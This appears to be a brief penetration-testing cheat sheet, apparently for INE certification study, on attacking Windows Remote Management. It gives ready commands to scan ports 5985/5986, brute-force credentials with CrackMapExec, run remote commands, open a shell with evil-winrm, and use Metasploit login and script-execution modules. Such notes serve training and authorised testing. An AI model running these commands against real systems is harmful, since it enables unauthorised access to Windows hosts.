Skip to content
Home

WinRM exploitation: brute-force & remote command execution

Enumerate WinRM (ports 5985/5986), brute-force credentials with CrackMapExec, and get a shell via evil-winrm.

bash·1 min read··INE Certification

WinRM is Microsoft’s remote management protocol. It’s not on by default but is common in managed Windows environments. Once you have valid credentials you’ll have a full command shell without needing to transfer any payload.

PortProtocol
5985HTTP
5986HTTPS

Detect & enumerate

nmap -sS -sV -p5985,5986 <target_ip>

Brute-force credentials

crackmapexec winrm <target_ip> -u users.txt -p passwords.txt

Execute commands with valid credentials

crackmapexec winrm <target_ip> -u <user> -p <password> -x "whoami"
crackmapexec winrm <target_ip> -u <user> -p <password> -x "ipconfig"

Get an interactive shell

evil-winrm -i <target_ip> -u <user> -p <password>

Via Metasploit

use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target_ip>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

use exploit/windows/winrm/winrm_script_exec
set RHOSTS <target_ip>
set USERNAME <user>
set PASSWORD <pass>
run

WinRM only works when it’s been explicitly enabled on the target. If enumeration shows it’s open but all login attempts fail, double-check that the credentials are for a local admin or domain account — standard user accounts can be blocked from WinRM by policy even with correct credentials.